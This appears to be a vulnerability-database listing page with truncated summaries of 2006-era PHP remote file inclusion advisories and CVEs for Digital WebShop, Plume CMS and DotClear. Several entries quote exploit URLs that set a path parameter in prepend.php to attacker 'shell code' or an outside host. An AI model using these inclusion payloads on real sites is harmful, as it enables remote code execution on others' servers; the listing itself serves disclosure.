Digital WebShop <= 1.128 Multiple Remote File Include Vulnerabilities

No description provided by source. Title : Digital WebShop = v1.128 Multiple Remote File Include Vulnerabilities Author : ajann Script Page : http://digitalwebshop.dyndns.org Exploit; Files rechnung.php prepend.php /Files Code,1 prepend.php Error: // include Werzeuge...

PlumeCMS_1.1.10.txt

Vendor: Plume CMS 1.1.10 Found By : D3nGeR Scripit Site : http://plume-cms.net in file prepend.php ; includeonce $PXconfig'managerpath'.'/inc/class.config.php' code http://site.com/pathmanager/frontinc/prepend.php?PXconfigmanagerpath=shell code...

CVE-2006-4945: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in Cardway aka Frederic Boudaud DigitalWebShop 1.128 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the PHPLIBlibdir parameter to 1 rechnung.php or 2 prepend.php...

Plume CMS &lt;= 1.1.10 [prepend.php] Remote File Include Vulnerability

Vendor: Plume CMS 1.1.10 Found By : D3nGeR Scripit Site : http://plume-cms.net in file prepend.php ; includeonce $PXconfig'managerpath'.'/inc/class.config.php' code http://site.com/pathmanager/frontinc/prepend.php?PXconfigmanagerpath=shell code...

CVE-2006-2866: Undefined Security Weakness

PHP remote file inclusion vulnerability in layout/prepend.php in DotClear 1.2.4 and earlier allows remote attackers to execute arbitrary PHP code via a FTP URL in the blogdcpath parameter, which passes fileexists and isdir tests on PHP 5...

CVE-2006-2645: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in manager/frontinc/prepend.php for Plume 1.0.3 allows remote attackers to execute arbitrary code via a URL in the PXconfigmanagerpath parameter. NOTE: this is a different executable and affected version than CVE-2006-0725...

Plume CMS Remote File Include

Vendor: Plume CMS http://plume-cms.net Vuln: Remote File Include Discovered: beford xbefordx gmail com Vulnerable File/Code ./plume-1.0.3/manager/frontinc/prepend.php code includeonce $PXconfig'managerpath'.'/conf/config.php'; /code...

Plume CMS 1.0.3 - manager_path Remote File Inclusion

Plume CMS 1.0.3 - managerpath Remote File Inclusion Vendor: Plume CMS http://plume-cms.net Vuln: Remote File Include Discovered: beford Vulnerable File/Code ./plume-1.0.3/manager/frontinc/prepend.php code includeonce $PXconfig'managerpath'.'/conf/config.php'; /code...

Plume CMS 1.0.3 - 'manager_path' Remote File Inclusion

Vendor: Plume CMS http://plume-cms.net Vuln: Remote File Include Discovered: beford Vulnerable File/Code ./plume-1.0.3/manager/frontinc/prepend.php code includeonce $PXconfig'managerpath'.'/conf/config.php'; /code http://urlanda.org/manager/frontinc/prepend.php?PXconfigmanagerpath=http://leet...

CVE-2006-0725: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in prepend.php in Plume CMS 1.0.2, when registerglobals is enabled, allows remote attackers to include arbitrary files via a URL in the PXconfigmanagerpath parameter. NOTE: this is a different executable and affected version than CVE-2006-2645...